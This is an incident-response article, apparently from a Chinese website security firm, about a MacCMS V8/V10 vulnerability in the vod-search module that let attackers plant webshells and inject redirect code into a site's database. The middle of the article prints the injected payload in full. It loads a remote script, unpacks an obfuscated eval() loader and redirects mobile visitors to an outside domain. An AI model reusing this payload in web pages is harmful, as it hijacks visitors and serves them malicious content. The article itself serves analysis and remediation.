最新苹果cms漏洞被频繁挂马该如何解决
2020年刚开始,苹果CMS被爆出数据库代码执行漏洞,大量的电影网站被挂马,尤其电影的页面被篡改植入了恶意代码,数据库中的VOD表里的d_name被全部修改,导致网站打开后直接跳转到S站或者弹窗广告,目前该maccms漏洞受影响的苹果系统版本是V8,V10,很多客户网站被反复篡改,很无奈,通过朋友介绍找到我们寻求技术上支持,防止网站被挂马。根据客户的反应,服务器采用的是Linux centos系统,苹果CMS版本是最新的V10版本,我们立即成立网站安全应急响应处理,帮助客户解决网站被攻击的问题。
首先很多站长以为升级了苹果CMS官方最新的漏洞补丁就没问题了,通过我们技术对补丁的代码安全分析发现,该漏洞补丁对当前的数据库代码执行漏洞是没有任何效果的,于事无补,网站还会继续被攻击。
我们来看下客户网站目前发生的挂马问题,打开网站首页以及各个电影地址都会被插入挂马代码,如下图所示:
打包压缩了一份网站源代码,以及nginx网站日志文件,我们工程师在根目录下发现被上传了网站webshell木马文件,通过网站日志溯源追踪我们查看到访问这个PHP脚本木马文件的是一个韩国的IP,具体的代码如下图:
代码做了加密处理,我们对其解密发现该代码的功能可以对网站进行上传,下载,修改代码,操作数据库等功能,属于PHP大马的范畴,也叫webshell木马文件,我们又对苹果CMS的源代码进行了人工安全审计,发现index.php代码对搜索模块上做的一些恶意代码过滤检查存在漏洞,可导致攻击者绕过安全过滤,直接将SQL插入代码执行到数据库当中去。
我们对数据库进行安全检测发现,在VOD表的d_name被批量植入了挂马代码:
<script src=https://www.11px.cn/1.js>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'w '};c=1;};while(c--)if(k[c])p=p.replace(newPRegExp('b' e(c) 'b','g'),k[c]);return p;}('4.5('<61="3/2" 7="//0.b.c.d/8.0"></9' 'a>');',14,14,'js|type|javascript|text|document|write|script|src|20487493|scr|ipt|users|51|la'.split('|'),0,{}));var LOUMtBZeW=navigator["userAgent"]["toLowerCase"]()["match"](/(ipod|iphone|ipad|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i)!=null;if(LOUMtBZeW){setTimeout('window.location.href="https://m.qiche-hangjia.com:168/ua80666/"',500)}
这手法很专业,不是一般的攻击者所为,针对手机端做了跳转以及隐藏嵌入,让网站运营者根本无法察觉发现,还判断了Cookies来路,达到条件才能触发攻击者植入的广告代码。继续安全分析与追踪,发现了攻击者的手法,POST提交到/index.php?m=vod-search,POST内容是加密的这里就不方便发出了,属于漏洞攻击了,可能会给其他使用苹果cms系统的网站造成攻击,我们技术对POST攻击代码进行了解密分析,发现确实是绕过了苹果官方V8,V10系统的代码安全过滤,直接将挂马代码插入到了数据库里了。
问题根源找到了,接下来我们对客户的苹果CMS漏洞进行修复,对POST提交过来的参数进行严格的过滤与转义,对vod-search含有的恶意字符进行强制转换,对恶意代码进行安全拦截,防止传入到后端进行数据库里的代码执行。对网站代码里存在的木马后门进行了全面的人工审计与检查,共计发现5个后门,其余的在缓存目录当中,跟程序代码混淆在一起,也都删除了,对网站的后台地址进行了更改,之前后台使用的地址被攻击者掌握,对管理员的账号密码进行了加强,至此苹果CMS网站被挂马的问题才得以彻底解决,如果您的maccms也被一直挂马,自己懂代码的话可以对POST到index.php的数据进行安全拦截与检查,防止恶意代码的插入,如果不是太懂的话,建议找专业的网站安全公司来处理解决。